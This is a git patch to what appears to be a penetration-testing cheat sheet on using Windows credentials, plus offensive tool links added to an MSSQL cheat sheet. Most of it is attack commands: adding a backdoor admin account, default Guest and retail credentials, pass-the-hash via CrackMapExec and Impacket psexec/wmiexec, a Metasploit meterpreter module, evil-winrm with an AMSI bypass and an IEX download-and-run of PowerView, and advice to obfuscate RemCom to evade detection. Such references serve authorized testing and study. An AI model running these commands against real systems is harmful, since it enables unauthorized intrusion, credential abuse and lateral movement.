From ccae5a6e092282ad48669074bf94e3fe6777c46c Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Sat, 11 Feb 2023 12:07:25 +0100 Subject: [PATCH] Credentials Rework --- .../MSSQL Server - Cheatsheet.md | 6 + .../Windows - Using credentials.md | 382 +++++++++--------- 2 files changed, 186 insertions(+), 202 deletions(-) diff --git a/Methodology and Resources/MSSQL Server - Cheatsheet.md b/Methodology and Resources/MSSQL Server - Cheatsheet.md index 2a5744d..339a736 100644 --- a/Methodology and Resources/MSSQL Server - Cheatsheet.md +++ b/Methodology and Resources/MSSQL Server - Cheatsheet.md @@ -2,6 +2,7 @@ ## Summary +* [Tools](#tools) * [Identify Instances and Databases](#identifiy-instaces-and-databases) * [Discover Local SQL Server Instances](#discover-local-sql-server-instances) * [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances) @@ -59,6 +60,11 @@ * [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes) * [References](#references) +## Tools + +* [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server +* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation. + ## Identify Instances and Databases ### Discover Local SQL Server Instances diff --git a/Methodology and Resources/Windows - Using credentials.md b/Methodology and Resources/Windows - Using credentials.md index 9174183..a70e8fe 100644 --- a/Methodology and Resources/Windows - Using credentials.md +++ b/Methodology and Resources/Windows - Using credentials.md @@ -2,31 +2,32 @@ ## Summary -* [TIPS](#tips) - * [TIP 1 - Create your credential](#tip-1-create-your-credential) - * [TIP 2 - Retail Credential](#tip-2-retail-credential) - * [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount) -* [Metasploit](#metasploit) - * [Metasploit - SMB](#metasploit---smb) - * [Metasploit - Psexec](#metasploit---psexec) -* [WinRM](#winrm) -* [Powershell Remoting](#powershell-remoting) - * [Powershell Credentials](#powershell-credentials) - * [Powershell Secure String](#powershell-secure-strings) +* [Get credentials](#get-credentials) + * [Create your credential](#create-your-credential) + * [Guest Credential](#guest-credential) + * [Retail Credential](#retail-credential) + * [Sandbox Credential](#sandbox-credential) * [Crackmapexec](#crackmapexec) -* [Winexe](#winexe) -* [WMI](#wmi) -* [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy) -* [PsExec - Sysinternal](#psexec-sysinternal) +* [Impacket](#impacket) + * [PSExec](#psexec) + * [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol) -* [Netuse](#netuse) -* [Runas](#runas) -* [Pass the Ticket](#pass-the-ticket) -* [SSH](#ssh) +* [Powershell Remoting Protocol](#powershell-remoting-protocol) + * [Powershell Credentials](#powershell-credentials) + * [Powershell PSSESSION](#powershell-pssession) + * [Powershell Secure String](#powershell-secure-strings) +* [SSH Protocol](#ssh-protocol) +* [WinRM Protocol](#winrm-protocol) +* [WMI Protocol](#wmi-protocol) -## TIPS +* [Other methods](#other-methods) + * [PsExec - Sysinternal](#psexec-sysinternal) + * [Mount a remote share](#mount-a-remote-share) + * [Run as another user](#run-as-another-user) -### TIP 1 - Create your credential +## Get credentials + +### Create your credential ```powershell net user hacker Hcker_12345678* /add /Y @@ -58,7 +59,17 @@ net user /dom net user /domain ``` -### TIP 2 - Retail Credential +### Guest Credential + +By default every Windows machine comes with a Guest account, its default password is empty. + +```powershell +Username: Guest +Password: [EMPTY] +NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 +``` + +### Retail Credential Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) @@ -69,7 +80,7 @@ Username: RetailAdmin Password: trs10 ``` -### TIP 3 - Sandbox Credential - WDAGUtilityAccount +### Sandbox Credential WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) @@ -81,186 +92,76 @@ Username: wdagutilityaccount Password: pw123 ``` - -## Metasploit - -### Metasploit - SMB - -```c -use auxiliary/scanner/smb/smb_login -set SMBDomain DOMAIN -set SMBUser username -set SMBPass password -services -p 445 -R -run -creds -``` - -### Metasploit - Psexec - -Note: the password can be replaced by a hash to execute a `pass the hash` attack. - -```c -use exploit/windows/smb/psexec -set RHOST 10.2.0.3 -set SMBUser username -set SMBPass password -set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -set PAYLOAD windows/meterpreter/bind_tcp -run -shell -``` - ## Crackmapexec -```powershell -root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github -root@payload$ cme smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" -x 'whoami' # cmd -root@payload$ cme smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" -X 'whoami' # powershell -root@payload$ cme smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" --exec-method atexec -x 'whoami' -root@payload$ cme smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" --exec-method wmiexec -x 'whoami' -root@payload$ cme smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" --exec-method smbexec -x 'whoami' -``` +Using [Porchetta-Industries/CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec) -## WinRM - -**Requirements**: -* Port **5985** or **5986** open. -* Default endpoint is **/wsman** - -If WinRM is disabled on the system you can enable it using: `winrm quickconfig` - -```powershell -git clone https://github.com/Hackplayers/evil-winrm -evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] -evil-winrm -i 10.0.0.20 -u username -H HASH -evil-winrm -i 10.0.0.20 -u username -p password -r domain.local - -*Evil-WinRM* PS > Bypass-4MSI -*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1")) -``` - -or using a custom ruby code to interact with the WinRM service. - -```ruby -require 'winrm' - -conn = WinRM::Connection.new( - endpoint: 'http://ip:5985/wsman', - user: 'domain/user', - password: 'password', -) - -command="" -conn.shell(:powershell) do |shell| - until command == "exit\n" do - print "PS > " - command = gets - output = shell.run(command) do |stdout, stderr| - STDOUT.print stdout - STDERR.print stderr - end - end - puts "Exiting with code #{output.exitcode}" -end -``` - -## Powershell Remoting - -> PSSESSION - -```powershell -PS> Enable-PSRemoting - -# use credential -PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force -PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass) -PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami } - -# one-to-one interactive session -PS> Enter-PSSession -computerName DC01 -[DC01]: PS> - -# one-to-one execute scripts and commands -PS> $Session = New-PSSession -ComputerName CLIENT1 -PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 } -PS> Invoke-Command -Session $Session -scriptBlock { $test } -1 - -# one-to-many execute scripts and commands -PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service } -PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1 -``` - -### Powershell Credentials - -```ps1 -PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force -PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass) -``` - -### Powershell Secure String - -```ps1 -$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159) -$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey -$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject) -$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted) -$decrypted -``` +* CrackMapExec supports many protocols + ```powershell + crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + ``` +* CrackMapExec works with password, NT hash and Kerberos authentication + ```powershell + crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password + crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash + export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos + ``` -## Winexe +## Impacket -Integrated to Kali - -```powershell -root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe -``` - -## WMI - -```powershell -PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe” -``` - -## Psexec.py / Smbexec.py / Wmiexec.py - -From [Impacket](https://github.com/SecureAuthCorp/impacket) (:warning: renamed to impacket-xxx in Kali) +From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali) :warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`. -:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this. +:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this. +:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`. -```powershell -root@payload$ git clone https://github.com/CoreSecurity/impacket.git +All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports. +The following table summarize the port used by each scripts. -# PSEXEC like functionality example using RemComSv -root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10 -# this will drop a binary on the disk = noisy +| Method | Port Used | +|-------------|---------------------------------------| +| psexec.py | tcp/445 | +| smbexec.py | tcp/445 | +| atexec.py | tcp/445 | +| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM) | +| wmiexec.py | tcp/135, tcp/445, tcp/50911 (Winmgmt) | -# A similar approach to PSEXEC w/o using RemComSvc -root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10 +* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary. + ```ps1 + psexec.py DOMAIN/username:password@10.10.10.10 + ``` +* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc + ```ps1 + smbexec.py DOMAIN/username:password@10.10.10.10 + ``` +* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. + ```ps1 + atexec.py DOMAIN/username:password@10.10.10.10 + ``` +* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints + ```ps1 + dcomexec.py DOMAIN/username:password@10.10.10.10 + ``` +* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911. + ```ps1 + wmiexec.py DOMAIN/username:password@10.10.10.10 + wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 + ``` -# A semi-interactive shell, used through Windows Management Instrumentation. -root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10 -root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79 +### PSExec -# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. -root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10 +PSExec default [kavika13/RemCom](https://github.com/kavika13/RemCom) binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections [snovvcrash/RemComObf.sh](https://gist.github.com/snovvcrash/123945e8f06c7182769846265637fedb) -# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. -root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10 -``` +Use a custom binary and service name with : `psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe` -## PsExec - Sysinternal +Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`. +You need to update the pipe name to match "Custom_communication" in the line 163 +`fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)` -from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - -```powershell -PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe - -# switch admin user to NT Authority/System -PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s -``` ## RDP Remote Desktop Protocol @@ -309,32 +210,77 @@ Abuse RDP protocol to execute commands remotely with the following commands; ``` -## Netuse -Windows only +## Powershell Remoting Protocol -```powershell -PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$ +### Powershell Credentials + +```ps1 +PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force +PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass) ``` -## Runas +### Powershell PSSESSION ```powershell -PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe" -PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe +PS> Enable-PSRemoting + +# Invoke command +PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami } + +# one-to-one interactive session +PS> Enter-PSSession -computerName DC01 +[DC01]: PS> + +# one-to-one execute scripts and commands +PS> $Session = New-PSSession -ComputerName CLIENT1 +PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 } +PS> Invoke-Command -Session $Session -scriptBlock { $test } +1 + +# one-to-many execute scripts and commands +PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service } +PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1 ``` -## Pass the Ticket +### Powershell Secure String + +```ps1 +$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159) +$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey +$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject) +$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted) +$decrypted +``` + + +## WinRM Protocol + +**Requirements**: +* Port **5985** or **5986** open. +* Default endpoint is **/wsman** + +If WinRM is disabled on the system you can enable it using: `winrm quickconfig` + +The easiest way to interact over WinRM on Linux is with [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +```powershell +evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] +evil-winrm -i 10.0.0.20 -u username -H HASH +evil-winrm -i 10.0.0.20 -u username -p password -r domain.local + +*Evil-WinRM* PS > Bypass-4MSI +*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1")) +``` + + +## WMI Protocol ```powershell -python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user -[*] Saving ticket in user.ccache -cp user.ccache /tmp/krb5cc_0 -export KRB5CCNAME=/tmp/krb5cc_0 -klist +PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe” ``` -## SSH + +## SSH Protocol :warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!) @@ -343,8 +289,40 @@ cp user.ccache /tmp/krb5cc_1045 ssh -o GSSAPIAuthentication=yes user@domain.local -vv ``` + +## Other methods + +### PsExec - Sysinternal + +From Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) + +```powershell +PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe + +# switch admin user to NT Authority/System +PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s +``` + +### Mount a remote share + +```powershell +PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$ +``` + +### Runas as another user + +Runas is a command-line tool that is built into Windows Vista. +Allows a user to run specific tools and programs with different permissions than the user's current logon provides. + +```powershell +PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe" +PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe +``` + ## References - [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/) - [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html) +- [Impacket Remote code execution on Windows from Linux by Vry4n_ | Jun 20, 2021](https://vk9-sec.com/impacket-remote-code-execution-rce-on-windows-from-linux/) +- [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf)